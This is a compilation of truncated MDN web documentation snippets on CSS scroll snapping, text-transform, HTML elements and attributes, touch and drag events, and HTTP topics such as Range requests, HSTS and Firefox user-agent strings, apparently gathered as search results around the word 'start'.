...d child elements: .scroller > div:nth-child(2) { scroll-margin: 1rem; } .scroller > div:nth-child(3) { scroll-margin: 2rem; } this means that when scrolling past the middle child elements, the scrolling will snap to 1rem outside the left edge of the second <div>, and 2rems outside the left edge of the third <div>. note: here we are setting scroll-margin on all sides at once, but only the
start edge is really relevant. it would work just as well here to only set a scroll margin on that one edge, for example with scroll-margin-inline-
start: 1rem, or scroll-margin: 0 0 0 1rem. result try it for yourself: specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin' in that specification. candidate recommen...
scroll-snap-align - CSS: Cascading Style Sheets
he box’s snap position as an alignment of its snap area (as the alignment subject) within its snap container’s snapport (as the alignment container). the two values specify the snapping alignment in the block axis and inline axis, respectively. if only one value is specified, the second value defaults to the same value. syntax /* keyword values */ scroll-snap-align: none; scroll-snap-align:
start end; /* when two values set first is block, second inline */ scroll-snap-align: center; /* global values */ scroll-snap-align: inherit; scroll-snap-align: initial; scroll-snap-align: unset; values none the box does not define a snap position in that axis.
start the
start alignment of this box's scroll snap area, within the scroll container's snapport is a snap position in this axis. end...
...r the center alignment of this box's scroll snap area, within the scroll container's snapport is a snap position in this axis. safari currently has the two value syntax in the wrong order, the first value being inline the second block. see bug #191865. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax [ none |
start | end | center ]{1,2} specifications specification status comment css scroll snap module level 1the definition of 'scroll-snap-align' in that specification. candidate recommendation initial definition ...
text-transform - CSS: Cascading Style Sheets
etters, but other browsers did not. both webkit and gecko incorrectly considered letter-based symbols like ⓐ to be real letters. internet explorer 9 was the closest to the css 2 definition, but with some weird cases.) by precisely defining the correct behavior, css text level 3 cleans this mess up. the capitalize line in the browser compatibility table contains the version the different engines
started to support this now precisely-defined behavior. uppercase is a keyword that converts all characters to uppercase. lowercase is a keyword that converts all characters to lowercase. none is a keyword that prevents the case of all characters from being changed. full-width is a keyword that forces the writing of a character — mainly ideograms and latin scripts — inside a square, allow...
...ⓐⓑⓒ (ⓓⓔⓕ) —ⓖⓗⓘ— ⓙkl</span></strong> </p> span { text-transform: capitalize; } strong { float: right; } this demonstrates how initial symbols are ignored. the keyword target the first letter, that is the first unicode character part of the letter or number general category. capitalize (dutch ij digraph) <p>initial string <strong lang="nl">the dutch word: "ijsland"
starts with a digraph.</strong> </p> <p>text-transform: capitalize <strong><span lang="nl">the dutch word: "ijsland"
starts with a digraph.</span></strong> </p> span { text-transform: capitalize; } strong { float: right; } this demonstrates how the dutch ij digraph must be handled like one single letter. uppercase (general) <p>initial string <strong>lorem ipsum dolor sit amet, consectetur a...
Ajax - Developer guides
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object. when these technologies are combined in the ajax model, web applications are able to make quick, incremental updates to the user interface without reloading the entire browser page. this makes the application faster and more responsive to user actions. although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript. ...
...tal updates to the user interface without reloading the entire browser page. this makes the application faster and more responsive to user actions. although x in ajax stands for xml, json is used more than xml nowadays because of its many advantages such as being lighter and a part of javascript. both json and xml are used for packaging information in the ajax model. documentation getting
started this article guides you through the ajax basics and gives you two simple hands-on examples to get you
started. using the xmlhttprequest api the xmlhttprequest api is the core of ajax. this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – i...
Challenge solutions - Developer guides
these are not the only possible solutions. the sections below correspond to the titles of the tutorial sections. why use css colors challenge without looking up a reference, find five more color names that work in your stylesheet. solution css supports common color names like orange, yellow, blue, green, or black. it also supports some more exotic color names like chartreuse, fuschia, or burlywood. see css color value for a complete list as well as other ways of specifying colors. how css works dom inspector challenge in domi, click on a strong node. ...
... solution add this rule to your stylesheet: p:before{ content: url("yellow-pin.png"); } lists lower roman numerals challenge add a rule to your stylesheet, to number the oceans using roman numerals from i to v. solution define a rule for list items to use the lower-roman list style: li { list-style: lower-roman; } capital letters challenge change your sty...
User input and controls - Developer guides
practice to take into consideration the different capabilities in terms of screen resolution and user input. touch events can help you implement interactive elements and common interaction gestures on touchscreen devices. if you want to use touch events, you need to add event listeners and specify handler functions, which will be called when the event gets fired: element.addeventlistener("touch
start", handle
start, false);
element.addeventlistener("touchcancel", handlecancel, false);
element.addeventlistener("touchend", handleend, false);
element.addeventlistener("touchmove", handlemove, false); where element is the dom element you want to register the touch events on. note: for further information about what you can do with touch events, please read our touch events guide. poin...
...ding fullscreen functionality your application, read our documentation about using fullscreen mode. drag & drop drag & drop allows your application’s users to click and hold the mouse button down over an element, drag it to another location, and release the mouse button to drop the element there. here is an example that allows a section of content to be dragged. <div draggable="true" ondrag
start="event.datatransfer.setdata('text/plain', 'this text may be dragged')">
this text <strong>may</strong> be dragged.
</div> in which we: set the draggable attribute to true on the element that you wish to make draggable add a listener for the drag
start event and set the drag data within this listener note: you can find more information in the mdn drag & drop documentation. conte...
HTML attribute: rel - HTML: Hypertext Markup Language
ate icon. if several icons are equally appropriate, the last one is used. if the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. note: apple's ios does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a webpage icon for web clip or a
start-up placeholder. instead it uses the non-standard apple-touch-icon and apple-touch-
startup-image respectively. the shortcut link type is often seen before icon, but this link type is non-conforming, ignored and web authors must not use it anymore. alternate indicates an alternate representation of the current document. valid for link, a, and area, the meaning depends on the values of the othe...
...te icon. if several icons are equally appropriate, the last one is used. if the most appropriate icon is later found to be inappropriate, for example because it uses an unsupported format, the browser proceeds to the next-most appropriate, and so on. note: apple's ios does not use this link type, nor the sizes attribute, like others mobile browsers do, to select a webpage icon for web clip or a
start-up placeholder. instead it uses the non-standard apple-touch-icon and apple-touch-
startup-image respectively. the shortcut link type is often seen before icon, but this link type is non-conforming, ignored and web authors must not use it anymore. license valid on the <a>, <area>, <form>, <link> elements, the license value indicates that the hyperlink leads to a document describing the lic...
HTML attribute reference - HTML: Hypertext Markup Language
cript language used in the element. loading <img>, <iframe> indicates if the element should be loaded lazily (loading="lazy") or loaded immediately (loading="eager"). wip: whatwg pr #3752 list <input> identifies a list of pre-defined options to suggest to the user. loop <audio>, <bgsound>, <marquee>, <video> indicates whether the media should
start playing from the
start when it's finished. low <meter> indicates the upper bound of the lower range. manifest <html> specifies the url of the document's cache manifest. note: this attribute is obsolete, use <link rel="manifest"> instead. max <input>, <meter>, <progress> indicates the maximum value allowed. maxlength <input>, <textar...
...oup> spellcheck global attribute indicates whether spell checking is allowed for the element. src <audio>, <embed>, <iframe>, <img>, <input>, <script>, <source>, <track>, <video> the url of the embeddable content. srcdoc <iframe> srclang <track> srcset <img>, <source> one or more responsive image candidates.
start <ol> defines the first number if other than 1. step <input> style global attribute defines css styles which will override styles previously set. summary <table> tabindex global attribute overrides the browser's default tab order and follows the one specified instead. target <a>, <area>, <base>, <form> specifies whe...
Block-level elements - HTML: Hypertext Markup Language
r "block-level" elements or "inline-level" elements. by default, a block-level element occupies the entire space of its parent element (container), thereby creating a "block." this article helps to explain what this means. browsers typically display the block-level element with a newline both before and after the element. you can visualize them as a stack of boxes. a block-level element always
starts on a new line and takes up the full width available (stretches out to the left and right as far as it can). the following example demonstrates the block-level element's influence: block-level elements html <p>this paragraph is a block-level element; its background has been colored to display the paragraph's parent element.</p> css p { background-color: #8abb55; } usage block-level ...
...ferences between block-level elements and inline elements: content model generally, block-level elements may contain inline elements and (sometimes) other block-level elements. inherent in this structural distinction is the idea that block elements create "larger" structures than inline elements. default formatting by default, block-level elements begin on new lines, but inline elements can
start anywhere in a line. the distinction of block-level vs. inline elements was used in html specifications up to 4.01. in html5, this binary distinction is replaced with a more complex set of content categories. while the "inline" category roughly corresponds to the category of phrasing content, the "block-level" category doesn't directly correspond to any html5 content category, but "block-level" ...
<h1>–<h6>: The HTML Section Heading elements - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, heading content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content; don't use a heading element as a child of the <hgroup> element — it is now deprecated. implicit aria role heading permitted aria roles tab, presentation or none dom interface htmlheadingelement attributes these elements only include the global attribu...
...e is obsolete; don't use it. usage notes heading information may be used by user agents, for example, to construct a table of contents for a document automatically. avoid using heading tags to resize text. instead, use the css font-size property. headings use size to indicate their relative importance, but css is preferred for general-purpose resizing. avoid skipping heading levels: always
start from <h1>, next use <h2> and so on. you should only use one <h1> per page. using more than one will not result in an error, but using only one is seen as a best practice. it makes logical sense — <h1> is the most important heading, and tells you what the purpose of the overall page is. you wouldn't have a book with more than one title, or a movie with more than one name! having a single top-le...
<a>: The Anchor element - HTML: Hypertext Markup Language
butes include the global attributes. downloadhtml5 prompts the user to save the linked url instead of navigating to it. can be used with or without a value: without a value, the browser will suggest a filename/extension, generated from various sources: the content-disposition http header the final segment in the url path the media type (from the (content-type header, the
start of a data: url, or blob.type for a blob: url) defining a value suggests it as the filename. / and \ characters are converted to underscores (_). filesystems may forbid other characters in filenames, so browsers will adjust the suggested name if necessary. notes: download only works for same-origin urls, or the blob: and data: schemes. if content-disposition has a different fil...
...tml5 the shape of the hyperlink’s region in an image map. note: use the <area> element for image maps instead. properties content categories flow content, phrasing content, interactive content, palpable content. permitted content transparent, containing either flow content (excluding interactive content) or phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content, or any element that accepts flow content, but not other <a> elements. implicit aria role link when href attribute is present, otherwise no corresponding role permitted aria roles when href attribute is present: button checkbox menuitem me...
<body>: The Document Body element - HTML: Hypertext Markup Language
the html <body> element represents the content of an html document. there can be only one <body> element in a document. content categories sectioning root. permitted content flow content. tag omission the
start tag may be omitted if the first thing inside it is not a space character, comment, <script> element or <style> element. the end tag may be omitted if the <body> element has contents or has a
start tag, and is not immediately followed by a comment. permitted parents it must be the second element of an <html> element. implicit aria role document permitted aria roles no role permitted dom interface htmlbodyelement the <body> element exposes the htmlbodyelement interface. you can access the <...
...t function to call when the user requests printing of the document. onbeforeunload function to call when the document is about to be unloaded. onblur function to call when the document loses focus. onerror function to call when the document fails to load properly. onfocus function to call when the document receives focus. onhashchange function to call when the fragment identifier part (
starting with the hash ('#') character) of the document's current address has changed. onlanguagechange function to call when the preferred languages changed. onload function to call when the document has finished loading. onmessage function to call when the document has received a message. onoffline function to call when network communication has failed. ononline function to call when netw...
<br>: The Line Break element - HTML: Hypertext Markup Language
significant. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. as you can see from the above example, a <br> element is included at each point where we want the text to break. the text after the <br> begins again at the
start of the next line of the text block. note: do not use <br> to create margins between paragraphs; wrap them in <p> elements and use the css margin property to control their size. attributes this element's attributes include the global attributes. deprecated attributes clear indicates where to begin the next line after the break. styling with css the <br> element has a single, well-defi...
...ent, but not any content contained within <br>s. this can be a confusing and frustrating experience for the person using the screen reader. use <p> elements, and use css properties like margin to control their spacing. technical summary content categories flow content, phrasing content. permitted content none, it is an empty element. tag omission must have a
start tag, and must not have an end tag. in xhtml documents, write this element as <br />. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles none, presentation dom interface htmlbrelement specifications specification status comment html living stan...
<canvas>: The Graphics Canvas element - HTML: Hypertext Markup Language
ipting api or the webgl api to draw graphics and animations. content categories flow content, phrasing content, embedded content, palpable content. permitted content transparent but with no interactive content descendants except for <a> elements, <button> elements, <input> elements whose type attribute is checkbox, radio, or button. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlcanvaselement attributes this element's attributes include the global attributes. height the height of the coordinate space in css pixels. defaults to 150. moz-...
...work. examples html this code snippet adds a canvas element to your html document. a fallback text is provided if a browser is unable to render the canvas, or if can't read a canvas. <canvas width="300" height="300"> an alternative text describing what your canvas displays. </canvas> javascript then in the javascript code, call htmlcanvaselement.getcontext() to get a drawing context and
start drawing onto the canvas: const canvas = document.queryselector('canvas'); const ctx = canvas.getcontext('2d'); ctx.fillstyle = 'green'; ctx.fillrect(10, 10, 100, 100); result accessibility concerns alternative content the <canvas> element on its own is just a bitmap and does not provide information about any drawn objects. canvas content is not exposed to accessibility tools as semantic ht...
<del>: The Deleted Text element - HTML: Hypertext Markup Language
. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. this element is often (but need not be) rendered by applying a strike-through style to the text. content categories phrasing content or flow content. permitted content transparent. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlmodelement attributes this element's attributes include the global attributes. cite a uri for a resource that explains the change (for example, meeting minutes).
...ost screen reading technology in its default configuration. it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements. del::before, del::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } del::before { content: " [deletion
start] "; } del::after { content: " [deletion end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been deleted would adversely affect understanding. short note on making your mark (more accessible) | the paciell...
<details>: The Details disclosure element - HTML: Hypertext Markup Language
tically apply the css display: list-item to the <summary> element. you can use this to customize its appearance further. see customizing the disclosure widget for further details. content categories flow content, sectioning root, interactive content, palpable content. permitted content one <summary> element followed by flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role group permitted aria roles no role permitted dom interface htmldetailselement attributes this element includes the global attributes. open this boolean attribute indicates whether or not the details — that is, the contents of th...
...e <summary> element inside <details>, like this: <details> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> the result from this html is this: creating an open disclosure box to
start the <details> box in its open state, add the boolean open attribute: <details open> <summary>system requirements</summary> <p>requires a computer running an operating system. the computer must have some memory and ideally some kind of long-term storage. an input device as well as some form of output device is recommended.</p> </details> this results in: customizing the appearance ...
<fieldset>: The Field Set element - HTML: Hypertext Markup Language
ult, and it establishes a block formatting context. if the <fieldset> is styled with an inline-level display value, it will behave as inline-block, otherwise it will behave as block. by default there is a 2px groove border surrounding the contents, and a small amount of default padding. the element has min-inline-size: min-content by default. if a <legend> is present, it is placed over the block-
start border. the <legend> shrink-wraps, and also establishes a formatting context. the display value is blockified. (for example, display: inline behaves as block.) there will be an anonymous box holding the contents of the <fieldset>, which inherits certain properties from the <fieldset>. if the <fieldset> is styled with display: grid or display: inline-grid, then the anonymous box will be a grid fo...
... <div> <label for="pwd">archetype: </label> <input type="password" id="pwd" value="wookie"> </div> </fieldset> </form> technical summary content categories flow content, sectioning root, listed, form-associated element, palpable content. permitted content an optional <legend> element, followed by flow content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role group permitted aria roles radiogroup, presentation, none dom interface htmlfieldsetelement specifications specification status comment html living standardthe definition of '<fieldset>' in that specificati...
<img>: The Image Embed element - HTML: Hypertext Markup Language
d with 2x) are also invalid. the user agent selects any of the available sources at its discretion. this provides them with significant leeway to tailor their selection based on things like user preferences or bandwidth conditions. see our responsive images tutorial for an example. width the intrinsic width of the image in pixels. must be an integer without a unit. usemap the partial url (
starting with #) of an image map associated with the element. note: you cannot use this attribute if the <img> element is inside an <a> or <button> element. deprecated attributes align aligns the image with its surrounding context. use the float and/or vertical-align css properties instead of this attribute. allowed values: top equivalent to vertical-align: top or vertical-align:...
...stead of using title. using the html title attribute – updated | the paciello group technical summary content categories flow content, phrasing content, embedded content, palpable content. if the element has a usemap attribute, it also is a part of the interactive content category. permitted content none, it is an empty element. tag omission must have a
start tag and must not have an end tag. permitted parents any element that accepts embedded content. implicit aria role with non-empty alt attribute or no alt attribute: img with empty alt attribute: no corresponding role permitted aria roles with non-empty alt attribute: button checkbox link menuitem menuit...
<input type="password"> - HTML: Hypertext Markup Language
be served over https; many browsers now implement mechanisms to warn against insecure login forms; see insecure passwords. value a domstring representing a password, or empty events change and input supported common attributes autocomplete, inputmode, maxlength, minlength, pattern, placeholder, readonly, required, and size idl attributes selection
start, selectionend, selectiondirection, and value methods select(), setrangetext(), and setselectionrange() value the value attribute contains a domstring whose value is the current contents of the text editing control being used to enter the password. if the user hasn't entered anything yet, this value is an empty string (""). if the required property is specified, then the passwo...
...controls, you can use the select() method to select all the text in the password field. html <label for="userpassword">password: </label> <input id="userpassword" type="password" size="12"> <button id="selectall">select all</button> javascript document.getelementbyid("selectall").onclick = function() { document.getelementbyid("userpassword").select(); } result you can also use selection
start and selectionend to get (or set) what range of characters in the control are currently selected, and selectiondirection to know which direction selection occurred in (or will be extended in, depending on your platform; see its documentation for an explanation). however, given that the text is obscured, the usefulness of these is somewhat limited. validation if your application has character set...
<ins> - HTML: Hypertext Markup Language
ted from the document. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories phrasing content or flow content. permitted content transparent. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlmodelement attributes this element includes the global attributes. cite this attribute defines the uri of a resource that explains the change, such as a link to ...
...st screen reading technology in its default configuration. it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements. ins::before, ins::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } ins::before { content: " [insertion
start] "; } ins::after { content: " [insertion end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been inserted would adversely affect understanding. short note on making your mark (more accessible) | the pacie...
<mark>: The Mark Text element - HTML: Hypertext Markup Language
t. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. usage notes typical use cases for <mark> include: when used in a quotation (<q>) or block q...
...screen reading technology in its default configuration. it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements. mark::before, mark::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } mark::before { content: " [highlight
start] "; } mark::after { content: " [highlight end] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been highlighted would adversely affect understanding. short note on making your mark (more accessible) | the p...
<s> - HTML: Hypertext Markup Language
, as appropriate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories phrasing content or flow content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmlelement attributes this element only includes the global attributes. implementation note: up to gecko 1.9.2 inclusive, firefox implements the htmlspanelement interf...
... announced by most screen reading technology in its default configuration. it can be made to be announced by using the css content property, along with the ::before and ::after pseudo-elements. s::before, s::after { clip-path: inset(100%); clip: rect(1px, 1px, 1px, 1px); height: 1px; overflow: hidden; position: absolute; white-space: nowrap; width: 1px; } s::before { content: " [
start of stricken text] "; } s::after { content: " [end of stricken text] "; } some people who use screen readers deliberately disable announcing content that creates extra verbosity. because of this, it is important to not abuse this technique and only apply it in situations where not knowing content has been struck out would adversely affect understanding. short note on making your mark (more...
<template>: The Content Template element - HTML: Hypertext Markup Language
ment. while the parser does process the contents of the <template> element while loading the page, it does so only to ensure that those contents are valid; the element's contents are not rendered, however. content categories metadata content, flow content, phrasing content, script-supporting element permitted content no restrictions tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts metadata content, phrasing content, or script-supporting elements. also allowed as a child of a <colgroup> element that does not have a span attribute. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmltemplateelement at...
...tmltemplateelement attributes this element only includes the global attributes. however, the htmltemplateelement has a content property, which is a read-only documentfragment containing the dom subtree which the template represents. note that directly using the value of the content could lead to unexpected behavior, see avoiding documentfragment pitfall section below. examples first we
start with the html portion of the example. <table id="producttable"> <thead> <tr> <td>upc_code</td> <td>product_name</td> </tr> </thead> <tbody> <!-- existing data could optionally be included here --> </tbody> </table> <template id="productrow"> <tr> <td class="record"></td> <td></td> </tr> </template> first, we have a table into which we will later ins...
<textarea> - HTML: Hypertext Markup Language
the user from removing characters so that the number entered goes past the minimum, but it does make the value entered into the <textarea> invalid. also note that even if you have a minlength value set (3, for example), an empty <textarea> is still considered valid unless you also have the required attribute set. placeholder this example has a placeholder set. notice how it disappears when you
start typing into the box. <textarea name="textarea" rows="5" cols="30" placeholder="comment text."></textarea> note: placeholders should only be used to show an example of the type of data that should be entered into a form; they are not a substitute for a proper <label> element tied to the input. see labels and placeholders in <input>: the input (form input) element for a full explanation.
..." disabled>i am a disabled textarea</textarea> <textarea name="textarea" rows="5" cols="30" readonly>i am a readonly textarea</textarea> technical summary content categories flow content, phrasing content, interactive content, listed, labelable, resettable, and submittable form-associated element. permitted content text tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role textbox permitted aria roles no role permitted dom interface htmltextareaelement specifications specification status comment html living standardthe definition of '<textarea>' in that specification. ...
<time> - HTML: Hypertext Markup Language
. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the
starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface htmltimeelement attributes like all other html elements, this element supports the global attributes. datetime this attribute indicates the time and/or date of the e...
... living standard no change from html 5.1 html 5.1th...
Global attributes - HTML: Hypertext Markup Language
ecifications and deprecated, but kept for compatibility purposes. the multiple aria-* attributes, used for improving accessibility. ...
... list of global attributes accesskey provides a hint for generating a keyboa...
Using the application cache - HTML: Hypertext Markup Language
from the cache, the updated document will not be rendered until the document is reloaded (either manually or programatically). storage location and clearing the offline cache in chrome you can clear the offline cache by selecting "clear browsing data..." in the preferences or by visiting chrome://appcache-internals/. safari has a similar "empty cache" setting in its preferences but a browser re
start may also be required. in firefox, the offline cache data is stored separately from the firefox profile—next to the regular disk cache: windows vista/7: c:\users\<username>\appdata\local\mozilla\firefox\profiles\<salt>.<profile name>\offlinecache mac/linux: /users/<username>/library/caches/firefox/profiles/<salt>.<profile name>/offlinecache in firefox the current status of the offline cac...
...t file may have been updated before a script attaches event listeners to test for updates, scripts should always test window.applicationcache.status. function onupdateready() { console.log('found new version!'); } window.applicationcache.addeventlistener('updateready', onupdateready); if(window.applicationcache.status === window.applicationcache.updateready) { onupdateready(); } to manually
start testing for a new manifest file, you can use window.applicationcache.update(). gotchas never access cached files by using traditional get parameters (like other-cached-page.html?parametername=value). this will make the browser bypass the cache and attempt to get it from network. to link to cached resources that have parameters parsed in javascript use parameters in the hash part of the link, ...
Evolution of HTTP - HTTP
ccidentally edit) these documents, the first web browser called worldwideweb. a server to give access to the document, an early version of httpd. these four building blocks were completed by the end of 1990, and the first servers were already running outside of cern by early 1991. on august 6th 1991, tim berners-lee's post on the public alt.hypertext newsgroup is now considered as the official
start of the world wide web as a public project. the http protocol used in those early phases was very simple, later dubbed http/0.9, and sometimes as the one-line protocol. http/0.9 – the one-line protocol the initial version of http had no version number; it has been later called 0.9 to differentiate it from the later versions. http/0.9 is extremely simple: requests consist of a single line and ...
... of the world wide web as a public project. the http protocol used in those early phases was very simple, later dubbed http/0.9, and sometimes as the one-line protocol. http/0.9 – the one-line protocol the initial version of http had no version number; it has been later called 0.9 to differentiate it from the later versions. http/0.9 is extremely simple: requests consist of a single line and
start with the only possible method get followed by the path to the resource (not the url as both the protocol, server, and port are unnecessary once connected to the server). get /mypage.html the response is extremely simple too: it only consisted of the file itself. <html> a very simple html page </html> unlike subsequent evolutions, there were no http headers, meaning that only html files could ...
MIME types (IANA media types) - HTTP
application/ogg an audio or video file using the ogg container format. theora is the usual video codec used within it; vorbis is the usual audio codec. multipart/form-data the multipart/form-data type can be used when sending the values of a completed html form from browser to server. as a multipart document format, it consists of different parts, delimited by a boundary (a string
starting with a double dash --). each part is its own entity with its own http headers, content-disposition, and content-type for file uploading fields. content-type: multipart/form-data; boundary=aboundarystring (other headers associated with the multipart document as a whole) --aboundarystring content-disposition: form-data; name="myfile"; filename="img.jpg" content-type: image/jpeg (data) --aboun...
...s are not the only way to convey document type information: filename suffixes are sometimes used, especially on microsoft windows. not all operating systems consider these suffixes meaningful (such as linux and macos), and there is no guarantee they are correct. magic numbers. the syntax of different formats allows file-type inference by looking at their byte structure. for example, gif files
start with the 47 49 46 38 39 hexadecimal value (gif89), and png files with 89 50 4e 47 (.png). not all file types have magic numbers, so this is not 100% reliable either. ...
Browser detection using the user agent - HTTP
you in doing this as correctly as possible. it's worth re-iterating: it's very rarely a good idea to use user agent sniffing. you can almost always find a better, more broadly compatible way to solve your problem! considerations before using browser detection when considering using the user agent string to detect which browser is being used, your first step is to try to avoid it if possible.
start by trying to identify why you want to do it. are you trying to work around a specific bug in some version of a browser? look, or ask, in specialized forums: you're unlikely to be the first to hit this problem. also, experts, or simply people with another point of view, can give you ideas for working around the bug. if the problem seems uncommon, it's worth checking if this bug has been report...
...lookbehind in short-regexp notation (e.g. /reg/igm) will cause a parser error in unsupported browsers. thus, in the above example, you would use new regexp("(?<=look_behind_stuff)"); instead of /(?<=look_behind_stuff)/, even in the lookbehind supported section of your code. progressive enhancement this design technique involves developing your web site in 'layers', using a bottom-up approach,
starting with a simpler layer and improving the capabilities of the site in successive layers, each using more features. graceful degradation this is a top-down approach in which you build the best possible site using all the features you want, then tweak it to make it work on older browsers. this can be harder to do, and less effective, than progressive enhancement, but may be useful in some cases. ...
HTTP conditional requests - HTTP
been modified between both downloads, the obtained ranges will correspond to two different versions of the resource, and the final document will be corrupted. to prevent this, conditional requests are used. for ranges, there are two ways of doing this. the more flexible one makes use of if-unmodified-since and if-match and the server returns an error if the precondition fails; the client then re
starts the download from the beginning: even if this method works, it adds an extra response/request exchange when the document has been changed. this impairs performance, and http has a specific header to avoid this scenario: if-range: this solution is more efficient, but slightly less flexible, as only one etag can be used in the condition. rarely is such additional flexibility needed. avoidin...
...s, based on the now obsolete version of the resource, are rejected: this is implemented using the if-match or if-unmodified-since headers. if the etag doesn't match the original file, or if the file has been modified since it has been obtained, the change is simply rejected with a 412 precondition failed error. it is then up to the client to deal with the error: either by notifying the user to
start again (this time on the newest version), or by showing the user a diff of both versions, helping them decide which changes they wish to keep. dealing with the first upload of a resource the first upload of a resource is an edge case of the previous. like any update of a resource, it is subject to a race condition if two clients try to perform at the similar times. to prevent this, conditional r...
Range - HTTP
a multipart document. if the server sends back ranges, it uses the 206 partial content for the response. if the ranges are invalid, the server returns the 416 range not satisfiable error. the server can also ignore the range header and return the whole document with a 200 status code. ...
... server sends back ranges, it uses the 206 partial content for the response. if the ranges are invalid, the server returns the 416 range not satisfiable error. the server can also ignore the range header and return the whole document with a 200 status code. header type request header forbidden header name no syntax range: <unit>=<range-
start>- range: <unit>=<range-
start>-<range-end> range: <unit>=<range-
start>-<range-end>, <range-
start>-<range-end> range: <unit>=<range-
start>-<range-end>, <range-
start>-<range-end>, <range-
start>-<range-end> range: <unit>=-<suffix-length> directives <unit> the unit in which ranges are specified. this is usually bytes. <range-
start> an integer in the given unit indicating the beginning of the request range. <range-end> ...
Strict-Transport-Security - HTTP
ignored by the browser when your site is accessed using http; this is because an attacker may intercept http connections and inject the header or remove it. when your site is accessed over https with no certificate errors, the browser knows your site is https capable and will honor the strict-transport-security header. an example scenario you log into a free wifi access point at an airport and
start surfing the web, visiting your online banking service to check your balance and pay a couple of bills. unfortunately, the access point you're using is actually a hacker's laptop, and they're intercepting your original http request and redirecting you to a clone of your bank's site instead of the real thing. now your private data is exposed to the hacker. strict transport security resolves this p...
...immediately expire the strict-transport-security header, allowing access via http. preloading strict transport security google maintains an hsts preload service. by following the guidelines and successfully submitting your domain, browsers will never connect to your domain using an insecure connection. while the service is hosted by google, all browsers have stated an intent to use (or actually
started using) the preload list. however, it is not part of the hsts specification and should not be treated as official. information regarding the hsts preload list in chrome : https://www.chromium.org/hsts consultation of the firefox hsts preload list : nsstspreloadlist.inc examples all present and future subdomains will be https for a max-age of 1 year. this blocks access to pages or sub doma...
Firefox user agent string reference - HTTP
irefox/41.0 focus for android from version 1, focus is powered by android webview and uses the following user agent string format: mozilla/5.0 (linux; <android version> <build tag etc.>) applewebkit/<webkit rev> (khtml, like gecko) version/4.0 focus/<focusversion> chrome/<chrome rev> mobile safari/<webkit rev> tablet versions on webview mirror mobile, but do not contain a mobile token.
starting in version 6, users can opt into using a geckoview-based focus for android with a hidden preference: it uses a geckoview ua string to advertise gecko compatibility. focus version (rendering engine) user agent string 1.0 (webview mobile) mozilla/5.0 (linux; android 7.0) applewebkit/537.36 (khtml, like gecko) version/4.0 focus/1.0 chrome/59.0.3029.83 mobile safari/537.36...
